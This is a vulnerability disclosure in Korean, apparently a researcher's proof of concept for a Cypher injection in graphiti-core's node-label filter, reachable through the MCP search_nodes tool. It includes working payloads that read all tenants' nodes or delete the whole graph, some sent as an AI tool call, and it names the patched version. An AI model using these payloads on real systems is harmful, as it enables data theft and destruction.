
CVE-2026-32247에 대한 개념 증명(PoC)으로, graphiti-core에서 정제되지 않은 node_labels를 통한 Cypher 인젝션을 보여주며, MCP search_nodes를 통해 데이터 유출 및 그래프 삭제를 시연합니다.
심각도: 높음 (CVSS 8.1)
CWE: CWE-943 — 데이터 쿼리 로직 내 특수 요소의 부적절한 중화
영향받는 버전: graphiti-core <= 0.28.1 (pip)
수정된 버전: 0.28.2
보안 권고: GHSA-gg5m-55jj-8m5g
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-32247
공로: Romain Deperne
graphiti-core는 사용자가 제공한 노드 레이블 문자열을 |로 연결하고 이를 원시 쿼리에 이어 붙여 Cypher WHERE 절을 구성합니다. 공격자는 임의의 Cypher 연산자를 주입하고, 모든 테넌트에 걸쳐 어떤 그래프 노드에서든 데이터를 유출하거나, 전체 그래프를 삭제할 수 있습니다 — 체인 어디에도 매개변수화도, 검증도 없습니다.
저는 MCP 도구와 그래프 데이터베이스 사이의 경계에서 쿼리 구성 방식을 점검했습니다. search_filters.py에서 'n:' + node_labels가 entity_types 도구 매개변수의 값을 Cypher 쿼리에 직접 이어 붙이고 있었습니다.
이 문제를 표준적인 인젝션 이상으로 흥미롭게 만든 점은: Cypher의 WITH 절을 사용하면 WHERE 컨텍스트를 벗어나 완전히 새로운 파이프라인을 시작할 수 있다는 것입니다. 따라서 )는 괄호로 묶인 레이블 표현식을 닫고, WITH n은 새로운 절로 전환하며, //는 원래 쿼리의 나머지 부분을 조용히 버립니다. 하나의 페이로드로 전체 그래프에 접근할 수 있습니다.
저는 먼저 독립 실행형 스크립트에서 쿼리 구성을 재현한 뒤, 보고하기 전에 그래프 데이터베이스에 대해 파괴적인 사례를 검증했습니다.
파일: graphiti_core/search/search_filters.py, 91–92행 및 134–135행
# Vulnerable code — exact copy from source
node_labels = '|'.join(filters.node_labels)
node_label_filter = 'n:' + node_labels
# node_label_filter is then interpolated into a Cypher WHERE clause
진입점: mcp_server/src/graphiti_mcp_server.py, 441번째 줄
search_filters = SearchFilters(
node_labels=entity_types, # user input passed directly, no validation
)
entity_types 매개변수는 MCP search_nodes 도구 호출에서 쿼리 빌더로 직접 전달됩니다. Neo4j와 FalkorDB 백엔드 모두 영향을 받습니다. Kuzu 백엔드는 매개변수화된 쿼리를 사용하기 때문에 영향을 받지 않습니다.
node_label_filter 값(n:Label1|Label2)은 다음과 같이 Cypher 쿼리에 삽입됩니다:
WHERE (n:Label1|Label2) AND ...
레이블은 |로 연결되고 호출자에 의해 괄호로 감싸지므로, 공격자는 표현식을 )로 닫고 새로운 Cypher 절을 주입하기만 하면 됩니다. // 주석 연산자는 원래 쿼리의 나머지 부분을 무력화합니다.
# Exact logic from search_filters.py lines 91-92
def build_filter(node_labels):
labels = '|'.join(node_labels)
return 'n:' + labels
# Benign
print(build_filter(["Person", "Organization"]))
# → n:Person|Organization → WHERE (n:Person|Organization) AND ...
# Exfiltration: read all nodes across all groups
print(build_filter(["Entity`) WITH n MATCH (x) RETURN x //"]))
# → n:Entity`) WITH n MATCH (x) RETURN x //
# Full Cypher: WHERE (n:Entity`) WITH n MATCH (x) RETURN x // AND ...
# The `) closes the WHERE, WITH starts a new pipeline, // drops the rest
# Deletion: wipe the entire graph
print(build_filter(["Entity`) WITH n MATCH (x) DETACH DELETE x //"]))
MCP 도구 호출을 통해:
{
"tool": "search_nodes",
"arguments": {
"query": "test",
"entity_types": ["Entity`) WITH n MATCH (x) DETACH DELETE x //"]
}
}
group_id 네임스페이스에 걸쳐 임의의 노드/관계를 읽을 수 있음DETACH DELETE로 전체 그래프를 삭제할 수 있음group_id 필터가 주입 가능한 레이블 필터 이후에 적용되므로, WITH 절을 주입하면 이를 완전히 우회할 수 있음패치된 버전은 보간 전에 노드 레이블을 영숫자 문자 허용 목록과 대조하여 검증하며, 전체 텍스트 검색 경로는 group_id 값에 대해 매개변수화된 쿼리를 사용함